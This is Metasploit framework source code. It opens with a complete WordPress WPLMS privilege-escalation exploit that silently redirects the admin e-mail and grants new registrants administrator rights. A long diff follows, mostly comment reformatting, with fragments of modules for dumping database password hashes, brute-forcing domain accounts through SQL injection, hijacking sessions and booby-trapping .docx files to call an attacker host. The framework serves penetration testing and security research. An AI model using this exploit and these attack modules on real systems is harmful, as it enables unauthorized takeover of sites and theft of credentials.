include Msf::HTTP::Wordpress
def initialize(info = {})
super(update_info(
info,
'Name' => 'WordPress WPLMS Theme Privilege Escalation',
'Description' => %q{
The WordPress WPLMS theme from version 1.5.2 to 1.8.4.1 allows an
authenticated user of any user level to set any system option due to a lack of
validation in the import_data function of /includes/func.php.
The module first changes the admin e-mail address to prevent any
notifications being sent to the actual administrator during the attack,
re-enables user registration in case it has been disabled and sets the default
role to be administrator. This will allow for the user to create a new account
with admin privileges via the default registration page found at
/wp-login.php?action=register.
},
'Author' =>
[
'Evex', # Vulnerability discovery
'Rob Carr <rob[at]rastating.com>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['WPVDB', '7785']
],
'DisclosureDate' => 'Feb 09 2015'
))
register_options(
[
OptString.new('USERNAME', [true, 'The WordPress username to authenticate with']),
OptString.new('PASSWORD', [true, 'The WordPress password to authenticate with'])
], self.class)
end
def check
check_theme_version_from_readme('wplms', '1.8.4.2', '1.5.2')
end
def username
datastore['USERNAME']
end
def password
datastore['PASSWORD']
end
def php_serialize(value)
# Only strings and numbers are required by this module
case value
when String, Symbol
"s:#{value.bytesize}:\"#{value}\";"
when Fixnum
"i:#{value};"
end
end
def serialize_and_encode(value)
serialized_value = php_serialize(value)
unless serialized_value.nil?
Rex::Text.encode_base64(serialized_value)
end
end
def set_wp_option(name, value, cookie)
encoded_value = serialize_and_encode(value)
if encoded_value.nil?
vprint_error("#{peer} - Failed to serialize #{value}.")
else
res = send_request_cgi(
'method' => 'POST',
'uri' => wordpress_url_admin_ajax,
'vars_get' => { 'action' => 'import_data' },
'vars_post' => { 'name' => name, 'code' => encoded_value },
'cookie' => cookie
)
if res.nil?
vprint_error("#{peer} - No response from the target.")
else
vprint_warning("#{peer} - Server responded with status code #{res.code}") if res.code != 200
end
return res
end
end
def run
print_status("#{peer} - Authenticating with WordPress using #{username}:#{password}...")
cookie = wordpress_login(username, password)
fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress') if cookie.nil?
print_good("#{peer} - Authenticated with WordPress")
new_email = "#{Rex::Text.rand_text_alpha(5)}@#{Rex::Text.rand_text_alpha(5)}.com"
print_status("#{peer} - Changing admin e-mail address to #{new_email}...")
if set_wp_option('admin_email', new_email, cookie).nil?
fail_with(Failure::UnexpectedReply, 'Failed to change the admin e-mail address')
end
print_status("#{peer} - Enabling user registrations...")
if set_wp_option('users_can_register', 1, cookie).nil?
fail_with(Failure::UnexpectedReply, 'Failed to enable user registrations')
end
print_status("#{peer} - Setting the default user role...")
if set_wp_option('default_role', 'administrator', cookie).nil?
fail_with(Failure::UnexpectedReply, 'Failed to set the default user role')
end
register_url = normalize_uri(target_uri.path, 'wp-login.php?action=register')
print_good("#{peer} - Privilege escalation complete")
print_good("#{peer} - Create a new account at #{register_url} to gain admin access.")
end
end

View File

@ -37,7 +37,7 @@ class Metasploit3 < Msf::Auxiliary
def run
connect
#Grab the MaxDB info.
# Grab the MaxDB info.
pdbmsrv = "\x5A\x00\x00\x00\x03\x5B\x00\x00\x01\x00\x00\x00\xFF\xFF\xFF\xFF"
pdbmsrv << "\x00\x00\x04\x00\x5A\x00\x00\x00\x00\x02\x42\x00\x04\x09\x00\x00"
pdbmsrv << "\x00\x40\x00\x00\xD0\x3F\x00\x00\x00\x40\x00\x00\x70\x00\x00\x00"
@ -60,7 +60,7 @@ class Metasploit3 < Msf::Auxiliary
print_status(info)
end
#Send our command.
# Send our command.
len = 39 + datastore['CMD'].length
data = len.chr + "\x00\x00\x00\x03\x3F\x00\x00\x01\x00\x00\x00\x54\x0D\x00\x00"

View File

@ -47,8 +47,8 @@ class Metasploit3 < Msf::Auxiliary
'License' => MSF_LICENSE,
'Author' =>
[
'Eloi Vanderbeken <eloi.vanderbeken[at]gmail.com>', #Initial discovery, poc
'Matt "hostess" Andreko <mandreko[at]accuvant.com>' #Msf module
'Eloi Vanderbeken <eloi.vanderbeken[at]gmail.com>', # Initial discovery, poc
'Matt "hostess" Andreko <mandreko[at]accuvant.com>' # Msf module
],
'References' =>
[
@ -174,7 +174,7 @@ class Metasploit3 < Msf::Auxiliary
unless length == data.length
vprint_warning("#{peer} - Inconsistent length / data packet")
#return nil
# return nil
end
return { :length => length, :data => data }

View File

@ -48,8 +48,8 @@ class Metasploit3 < Msf::Auxiliary
:type => 'MSSQL_ENUM',
:data => "Version: #{sqlversion}")
#-------------------------------------------------------
#Check Configuration Parameters and check what is enabled
#---------------------------------------------------------
# Check Configuration Parameters and check what is enabled
print_status("Configuration Parameters:")
if vernum.join != "2000"
query = "SELECT name, CAST(value_in_use AS INT) from sys.configurations"
@ -59,7 +59,7 @@ class Metasploit3 < Msf::Auxiliary
sysconfig[l[0].strip] = l[1].to_i
end
else
#enable advanced options
# enable advanced options
mssql_query("EXEC sp_configure \'show advanced options\', 1; RECONFIGURE")[:rows]
query = "EXECUTE sp_configure"
ver = mssql_query(query)[:rows]
@ -71,7 +71,7 @@ class Metasploit3 < Msf::Auxiliary
end
#-------------------------------------------------------
#checking for C2 Audit Mode
# checking for C2 Audit Mode
if sysconfig['c2 audit mode'] == 1
print_status("\tC2 Audit Mode is Enabled")
report_note(:host => datastore['RHOST'],
@ -89,7 +89,7 @@ class Metasploit3 < Msf::Auxiliary
end
#-------------------------------------------------------
#check if xp_cmdshell is enabled
# check if xp_cmdshell is enabled
if vernum.join != "2000"
if sysconfig['xp_cmdshell'] == 1
print_status("\txp_cmdshell is Enabled")
@ -126,7 +126,7 @@ class Metasploit3 < Msf::Auxiliary
end
#-------------------------------------------------------
#check if remote access is enabled
# check if remote access is enabled
if sysconfig['remote access'] == 1
print_status("\tremote access is Enabled")
report_note(:host => datastore['RHOST'],
@ -162,7 +162,7 @@ class Metasploit3 < Msf::Auxiliary
end
#-------------------------------------------------------
#check if Mail stored procedures are enabled
# check if Mail stored procedures are enabled
if vernum.join != "2000"
if sysconfig['Database Mail XPs'] == 1
print_status("\tDatabase Mail XPs is Enabled")
@ -199,7 +199,7 @@ class Metasploit3 < Msf::Auxiliary
end
#-------------------------------------------------------
#check if OLE stored procedures are enabled
# check if OLE stored procedures are enabled
if vernum.join != "2000"
if sysconfig['Ole Automation Procedures'] == 1
print_status("\tOle Automation Procedures are Enabled")
@ -451,7 +451,7 @@ class Metasploit3 < Msf::Auxiliary
end
#-------------------------------------------------------
#Check for local accounts with same username as password
# Check for local accounts with same username as password
sameasuser = []
if vernum.join != "2000"
sameasuser = mssql_query("SELECT name FROM sys.sql_logins WHERE PWDCOMPARE\(name, password_hash\) = 1")[:rows]
@ -479,7 +479,7 @@ class Metasploit3 < Msf::Auxiliary
end
#-------------------------------------------------------
#Check for local accounts with empty password
# Check for local accounts with empty password
blankpass = []
if vernum.join != "2000"
blankpass = mssql_query("SELECT name FROM sys.sql_logins WHERE PWDCOMPARE\(\'\', password_hash\) = 1")[:rows]
@ -507,7 +507,7 @@ class Metasploit3 < Msf::Auxiliary
end
#-------------------------------------------------------
#Check for dangerous stored procedures
# Check for dangerous stored procedures
fountsp = []
dangeroussp = [
'sp_createorphan',
@ -732,7 +732,7 @@ EOS
end
#-------------------------------------------------------
#Enumerate Instances
# Enumerate Instances
instances =[]
if vernum.join != "2000"
querykey = "EXEC master..xp_regenumvalues \'HKEY_LOCAL_MACHINE\',\'SOFTWARE\\Microsoft\\Microsoft SQL Server\\Instance Names\\SQL\'"
@ -769,7 +769,7 @@ EOS
end
#---------------------------------------------------------
#Enumerate under what accounts the instance services are running under
# Enumerate under what accounts the instance services are running under
print_status("Default Server Instance SQL Server Service is running under the privilege of:")
privdflt = mssql_query("EXEC master..xp_regread \'HKEY_LOCAL_MACHINE\' ,\'SYSTEM\\CurrentControlSet\\Services\\MSSQLSERVER\',\'ObjectName\'")[:rows]
if privdflt != nil

View File

@ -33,12 +33,13 @@ class Metasploit3 < Msf::Auxiliary
register_options(
[
OptInt.new('FuzzNum', [true, 'Number of principal_ids to fuzz.', 3000])
OptInt.new('START_RID', [true, 'RID to start fuzzing at.', 500]),
OptInt.new('END_RID', [true, 'RID to stop fuzzing at.', 3000])
], self.class)
end
def run
print_status("#{peer} - Grabbing the server and domain name...")
print_status("#{peer} - Grabbing the SQL Server name and domain...")
db_server_name = get_server_name
if db_server_name.nil?
print_error("#{peer} - Unable to grab the server name")
@ -71,7 +72,8 @@ class Metasploit3 < Msf::Auxiliary
end
# Get a list of windows users, groups, and computer accounts using SUSER_NAME()
print_status("#{peer} - Brute forcing #{datastore['FuzzNum']} RIDs through the SQL Server, be patient...")
total_rids = datastore['END_RID'] - datastore['START_RID']
print_status("#{peer} - Brute forcing #{total_rids} RIDs via SQL injection, be patient...")
domain_users = get_win_domain_users(windows_domain_sid)
if domain_users.nil?
print_error("#{peer} - Sorry, no Windows domain accounts were found, or DC could not be contacted.")
@ -172,11 +174,12 @@ class Metasploit3 < Msf::Auxiliary
windows_logins = []
total_rids = datastore['END_RID'] - datastore['START_RID']
# Fuzz the principal_id parameter (RID in this case) passed to the SUSER_NAME function
(500..datastore['FuzzNum']).each do |principal_id|
(datastore['START_RID']..datastore['END_RID']).each do |principal_id|
rid_diff = principal_id - datastore['START_RID']
if principal_id % 100 == 0
print_status("#{peer} - Querying SID #{principal_id} of #{datastore['FuzzNum']}")
print_status("#{peer} - #{rid_diff} of #{total_rids } RID queries complete")
end
user_sid = build_user_sid(domain_sid, principal_id)

View File

@ -150,7 +150,7 @@ class Metasploit3 < Msf::Auxiliary
return nil
end
#Parse results
# Parse results
parsed_result = res.body.scan(/#{clue_start}(.*?)#{clue_end}/m)
if parsed_result && !parsed_result.empty?

View File

@ -53,12 +53,12 @@ class Metasploit3 < Msf::Auxiliary
def sql_statement()
#DEFINED HEADER TEXT
# DEFINED HEADER TEXT
headings = [
["Server","Database", "Schema", "Table", "Column", "Data Type", "Sample Data","Row Count"]
]
#DEFINE SEARCH QUERY AS VARIABLE
# DEFINE SEARCH QUERY AS VARIABLE
sql = "
-- CHECK IF VERSION IS COMPATABLE = > than 2000
IF (SELECT SUBSTRING(CAST(SERVERPROPERTY('ProductVersion') as VARCHAR), 1,
@ -341,11 +341,11 @@ class Metasploit3 < Msf::Auxiliary
#STATUSING
# STATUSING
print_line(" ")
print_status("Attempting to connect to the SQL Server at #{rhost}:#{rport}...")
#CREATE DATABASE CONNECTION AND SUBMIT QUERY WITH ERROR HANDLING
# CREATE DATABASE CONNECTION AND SUBMIT QUERY WITH ERROR HANDLING
begin
result = mssql_query(sql, false) if mssql_login_datastore
column_data = result[:rows]
@ -355,14 +355,14 @@ class Metasploit3 < Msf::Auxiliary
return
end
#CREATE TABLE TO STORE SQL SERVER DATA LOOT
# CREATE TABLE TO STORE SQL SERVER DATA LOOT
sql_data_tbl = Rex::Ui::Text::Table.new(
'Header' => 'SQL Server Data',
'Indent' => 1,
'Columns' => ['Server', 'Database', 'Schema', 'Table', 'Column', 'Data Type', 'Sample Data', 'Row Count']
)
#STATUSING
# STATUSING
print_status("Attempting to retrieve data ...")
if (column_data.count < 7)
@ -386,7 +386,7 @@ class Metasploit3 < Msf::Auxiliary
print_line(" ")
end
#SETUP ROW WIDTHS
# SETUP ROW WIDTHS
widths = [0, 0, 0, 0, 0, 0, 0, 0]
(column_data|headings).each { |row|
0.upto(7) { |col|
@ -394,7 +394,7 @@ class Metasploit3 < Msf::Auxiliary
}
}
#PRINT HEADERS
# PRINT HEADERS
buffer1 = ""
buffer2 = ""
headings.each { |row|
@ -406,7 +406,7 @@ class Metasploit3 < Msf::Auxiliary
buffer2 = buffer2.chomp(",")+ "\n"
}
#PRINT DIVIDERS
# PRINT DIVIDERS
buffer1 = ""
buffer2 = ""
headings.each { |row|
@ -417,7 +417,7 @@ class Metasploit3 < Msf::Auxiliary
print_line(buffer1)
}
#PRINT DATA
# PRINT DATA
buffer1 = ""
buffer2 = ""
print_line("")
@ -429,7 +429,7 @@ class Metasploit3 < Msf::Auxiliary
print_line(buffer1)
buffer2 = buffer2.chomp(",")+ "\n"
#WRITE QUERY OUTPUT TO TEMP REPORT TABLE
# WRITE QUERY OUTPUT TO TEMP REPORT TABLE
sql_data_tbl << [row[0], row[1], row[2], row[3], row[4], row[5], row[6], row[7]]
buffer1 = ""
@ -448,7 +448,7 @@ class Metasploit3 < Msf::Auxiliary
)
end
#CONVERT TABLE TO CSV AND WRITE TO FILE
# CONVERT TABLE TO CSV AND WRITE TO FILE
if (save_loot=="yes")
filename= "#{datastore['RHOST']}-#{datastore['RPORT']}_sqlserver_query_results.csv"
path = store_loot("mssql.data", "text/plain", datastore['RHOST'], sql_data_tbl.to_csv, filename, "SQL Server query results",this_service)

View File

@ -32,11 +32,11 @@ class Metasploit3 < Msf::Auxiliary
print_status("Running MySQL Enumerator...")
print_status("Enumerating Parameters")
#-------------------------------------------------------
#getting all variables
# getting all variables
vparm = {}
res = mysql_query("show variables") || []
res.each do |row|
#print_status(" | #{row.join(" | ")} |")
# print_status(" | #{row.join(" | ")} |")
vparm[row[0]] = row[1]
end
@ -77,7 +77,7 @@ class Metasploit3 < Msf::Auxiliary
query = "use mysql"
mysql_query(query)
#Account Enumeration
# Account Enumeration
# Enumerate all accounts with their password hashes
print_status("Enumerating Accounts:")
query = "select user, host, password from mysql.user"

View File

@ -39,7 +39,7 @@ class Metasploit3 < Msf::Auxiliary
begin
print_status("Sending statement: '#{query}'...")
result = prepare_exec(query)
#Need this if 'cause some statements won't return anything
# Need this if statement because some statements won't return anything
if result
result.each do |line|
print_status(line)

View File

@ -29,7 +29,7 @@ class Metasploit3 < Msf::Auxiliary
return if not check_dependencies
begin
#Get all values from v$parameter
# Get all values from v$parameter
query = 'select name,value from v$parameter'
vparm = {}
params = prepare_exec(query)
@ -47,7 +47,7 @@ class Metasploit3 < Msf::Auxiliary
print_status("Running Oracle Enumeration....")
#Version Check
# Version Check
query = 'select * from v$version'
ver = prepare_exec(query)
print_status("The versions of the Components are:")
@ -64,11 +64,11 @@ class Metasploit3 < Msf::Auxiliary
)
end
#Saving Major Release Number for other checks
# Saving Major Release Number for other checks
majorrel = ver[0].scan(/Edition Release (\d*)./)
#-------------------------------------------------------
#Audit Check
# Audit Check
print_status("Auditing:")
begin
if vparm["audit_trail"] == "NONE"
@ -122,7 +122,7 @@ class Metasploit3 < Msf::Auxiliary
end
#-------------------------------------------------------
#Security Settings
# Security Settings
print_status("Security Settings:")
begin
@ -201,7 +201,7 @@ class Metasploit3 < Msf::Auxiliary
end
#-------------------------------------------------------
#Password Policy
# Password Policy
print_status("Password Policy:")
begin
query = %Q|

View File

@ -133,7 +133,7 @@ class Metasploit3 < Msf::Auxiliary
end
#check if our process is done using these files
# check if our process is done using these files
def exclusive_access(*files)
simple.connect("\\\\#{@ip}\\#{@smbshare}")
files.each do |file|

View File

@ -57,7 +57,7 @@ class Metasploit3 < Msf::Auxiliary
@smbshare = datastore['SMBSHARE']
# Try and connect
if connect
#Try and authenticate with given credentials
# Try and authenticate with given credentials
begin
smb_login
rescue StandardError => autherror

View File

@ -64,10 +64,10 @@ class Metasploit3 < Msf::Auxiliary
n = 0
c = 0
#puts "body is #{res.body.length} bytes"
# puts "body is #{res.body.length} bytes"
infos = res.body.split(/\r?\n/)
infos.each do |row|
#puts row.inspect
# puts row.inspect
if (c < 6)
if (row.match(/\["file"\]=>/))
c+=1

View File

@ -31,7 +31,7 @@ class Metasploit3 < Msf::Auxiliary
def run
cracker = new_john_cracker
#generate our wordlist and close the file handle
# generate our wordlist and close the file handle
wordlist = wordlist_file
wordlist.close
print_status "Wordlist file written out to #{wordlist.path}"

View File

@ -45,7 +45,7 @@ class Metasploit3 < Msf::Auxiliary
cracker = new_john_cracker
#generate our wordlist and close the file handle
# generate our wordlist and close the file handle
wordlist = wordlist_file
wordlist.close
print_status "Wordlist file written out to #{wordlist.path}"

View File

@ -32,7 +32,7 @@ class Metasploit3 < Msf::Auxiliary
@formats = Set.new
cracker = new_john_cracker
#generate our wordlist and close the file handle
# generate our wordlist and close the file handle
wordlist = wordlist_file
wordlist.close
print_status "Wordlist file written out to #{wordlist.path}"

View File

@ -31,7 +31,7 @@ class Metasploit3 < Msf::Auxiliary
def run
cracker = new_john_cracker
#generate our wordlist and close the file handle
# generate our wordlist and close the file handle
wordlist = wordlist_file
wordlist.close
print_status "Wordlist file written out to #{wordlist.path}"

View File

@ -35,7 +35,7 @@ class Metasploit3 < Msf::Auxiliary
hash_list = hash_file
#generate our wordlist and close the file handle
# generate our wordlist and close the file handle
wordlist = wordlist_file
wordlist.close

View File

@ -49,29 +49,29 @@ class Metasploit3 < Msf::Auxiliary
bnatmac = arp2(bnatip,outint)
print_line("Obtained BNAT MAC: #{bnatmac}\n\n")
#Create Interface Specific Configs
# Create Interface Specific Configs
outconfig = PacketFu::Config.new(PacketFu::Utils.ifconfig ":#{outint}").config
inconfig = PacketFu::Config.new(PacketFu::Utils.ifconfig ":#{inint}").config
#Set Captures for Traffic coming from Outside and from Inside respectively
# Set Captures for Traffic coming from Outside and from Inside respectively
outpcap = PacketFu::Capture.new( :iface => "#{outint}", :start => true, :filter => "tcp and src #{bnatip}" )
print_line("Now listening on #{outint}...")
inpcap = PacketFu::Capture.new( :iface => "#{inint}", :start => true, :filter => "tcp and src #{clientip} and dst #{serverip}" )
print_line("Now listening on #{inint}...\n\n")
#Start Thread from Outside Processing
# Start Thread from Outside Processing
fromout = Thread.new do
loop do
outpcap.stream.each do |pkt|
packet = PacketFu::Packet.parse(pkt)
#Build a shell packet that will never hit the wire as a hack to get desired mac's
# Build a shell packet that will never hit the wire as a hack to get desired mac's
shell_pkt = PacketFu::TCPPacket.new(:config => inconfig, :timeout => 0.1, :flavor => "Windows")
shell_pkt.ip_daddr = clientip
shell_pkt.recalc
#Mangle Received Packet and Drop on the Wire
# Mangle Received Packet and Drop on the Wire
packet.ip_saddr = serverip
packet.ip_daddr = clientip
packet.eth_saddr = shell_pkt.eth_saddr
@ -84,7 +84,7 @@ class Metasploit3 < Msf::Auxiliary
end
end
#Start Thread from Inside Processing
# Start Thread from Inside Processing
fromin = Thread.new do
loop do
inpcap.stream.each do |pkt|
@ -98,19 +98,19 @@ class Metasploit3 < Msf::Auxiliary
packet.eth_daddr = bnatmac
end
#Build a shell packet that will never hit the wire as a hack to get desired mac's
# Build a shell packet that will never hit the wire as a hack to get desired mac's
shell_pkt = PacketFu::TCPPacket.new(:config=>outconfig, :timeout=> 0.1, :flavor=>"Windows")
shell_pkt.ip_daddr = serverip
shell_pkt.recalc
#Mangle Received Packet and Drop on the Wire
# Mangle Received Packet and Drop on the Wire
packet.eth_saddr = shell_pkt.eth_saddr
packet.ip_saddr=shell_pkt.ip_saddr
packet.recalc
inj = PacketFu::Inject.new( :iface => "#{outint}", :config =>outconfig )
inj.a2w(:array => [packet.to_s])
#Trigger Cisco SPI Vulnerability by Double-tapping the SYN
# Trigger Cisco SPI Vulnerability by Double-tapping the SYN
if packet.tcp_flags.syn == 1 && packet.tcp_flags.ack == 0
select(nil, nil, nil, 0.75)
inj.a2w(:array => [packet.to_s])

View File

@ -53,7 +53,7 @@ class Metasploit3 < Msf::Auxiliary
], self.class)
end
#here we create an empty .docx file with the UNC path. Only done when FILENAME is empty
# here we create an empty .docx file with the UNC path. Only done when FILENAME is empty
def make_new_file
metadata_file_data = ""
metadata_file_data << "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?><cp:coreProperties"
@ -65,12 +65,12 @@ class Metasploit3 < Msf::Auxiliary
metadata_file_data << "2013-01-08T14:14:00Z</dcterms:created><dcterms:modified xsi:type=\"dcterms:W3CDTF\">"
metadata_file_data << "2013-01-08T14:14:00Z</dcterms:modified></cp:coreProperties>"
#where to find the skeleton files required for creating an empty document
# where to find the skeleton files required for creating an empty document
data_dir = File.join(Msf::Config.data_directory, "exploits", "docx")
zip_data = {}
#add skeleton files
# add skeleton files
vprint_status("Adding skeleton files from #{data_dir}")
Dir["#{data_dir}/**/**"].each do |file|
if not File.directory?(file)
@ -78,19 +78,19 @@ class Metasploit3 < Msf::Auxiliary
end
end
#add on-the-fly created documents
# add on-the-fly created documents
vprint_status("Adding injected files")
zip_data["docProps/core.xml"] = metadata_file_data
zip_data["word/_rels/settings.xml.rels"] = @rels_file_data
#add the otherwise skipped "hidden" file
# add the otherwise skipped "hidden" file
file = "#{data_dir}/_rels/.rels"
zip_data[file.sub(data_dir,'')] = File.read(file)
#and lets create the file
# and lets create the file
zip_docx(zip_data)
end
#here we inject an UNC path into an existing file, and store the injected file in FILENAME
# here we inject an UNC path into an existing file, and store the injected file in FILENAME
def manipulate_file
ref = "<w:attachedTemplate r:id=\"rId1\"/>"
@ -99,24 +99,24 @@ class Metasploit3 < Msf::Auxiliary
return nil
end
#lets extract our docx and store it in memory
# lets extract our docx and store it in memory
zip_data = unzip_docx
#file to check for reference file we need
# file to check for reference file we need
file_content = zip_data["word/settings.xml"]
if file_content.nil?
print_error("Bad \"word/settings.xml\" file, check if it is a valid .docx.")
return nil
end
#if we can find the reference to our inject file, we don't need to add it and can just inject our unc path.
# if we can find the reference to our inject file, we don't need to add it and can just inject our unc path.
if not file_content.index("w:attachedTemplate r:id=\"rId1\"").nil?
vprint_status("Reference to rels file already exists in settings file, we dont need to add it :)")
zip_data["word/_rels/settings.xml.rels"] = @rels_file_data
# lets zip the end result
zip_docx(zip_data)
else
#now insert the reference to the file that will enable our malicious entry
# now insert the reference to the file that will enable our malicious entry
insert_one = file_content.index("<w:defaultTabStop")
if insert_one.nil?
@ -135,16 +135,16 @@ class Metasploit3 < Msf::Auxiliary
return nil
end
#update the files that contain the injection and reference
# update the files that contain the injection and reference
zip_data["word/settings.xml"] = file_content
zip_data["word/_rels/settings.xml.rels"] = @rels_file_data
#lets zip the file
# lets zip the file
zip_docx(zip_data)
end
return 0
end
#making the actual docx from the hash
# making the actual docx from the hash
def zip_docx(zip_data)
docx = Rex::Zip::Archive.new
zip_data.each_pair do |k,v|
@ -153,11 +153,11 @@ class Metasploit3 < Msf::Auxiliary
file_create(docx.pack)
end
#unzip the .docx document. sadly Rex::zip does not uncompress so we do it the Rubyzip way
# unzip the .docx document. sadly Rex::zip does not uncompress so we do it the Rubyzip way
def unzip_docx
#Ruby sometimes corrupts the document when manipulating inside a compressed document, so we extract it with Zip::File
# Ruby sometimes corrupts the document when manipulating inside a compressed document, so we extract it with Zip::File
vprint_status("Extracting #{datastore['SOURCE']} into memory.")
#we read it all into memory
# we read it all into memory
zip_data = Hash.new
begin
Zip::File.open(datastore['SOURCE']) do |filezip|
@ -174,7 +174,7 @@ class Metasploit3 < Msf::Auxiliary
def run
#we need this in make_new_file and manipulate_file
# we need this in make_new_file and manipulate_file
@rels_file_data = ""
@rels_file_data << "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>".chomp
@rels_file_data << "<Relationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\">".chomp
@ -182,11 +182,11 @@ class Metasploit3 < Msf::Auxiliary
@rels_file_data << "attachedTemplate\" Target=\"file://\\\\#{datastore['LHOST']}\\normal.dot\" TargetMode=\"External\"/></Relationships>"
if "#{datastore['SOURCE']}" == ""
#make an empty file
# make an empty file
print_status("Creating empty document that points to #{datastore['LHOST']}.")
make_new_file
else
#extract the word/settings.xml and edit in the reference we need
# extract the word/settings.xml and edit in the reference we need
print_status("Injecting UNC path into existing document.")
if manipulate_file.nil?
print_error("Failed to create a document from #{datastore['SOURCE']}.")

Some files were not shown because too many files have changed in this diff Show More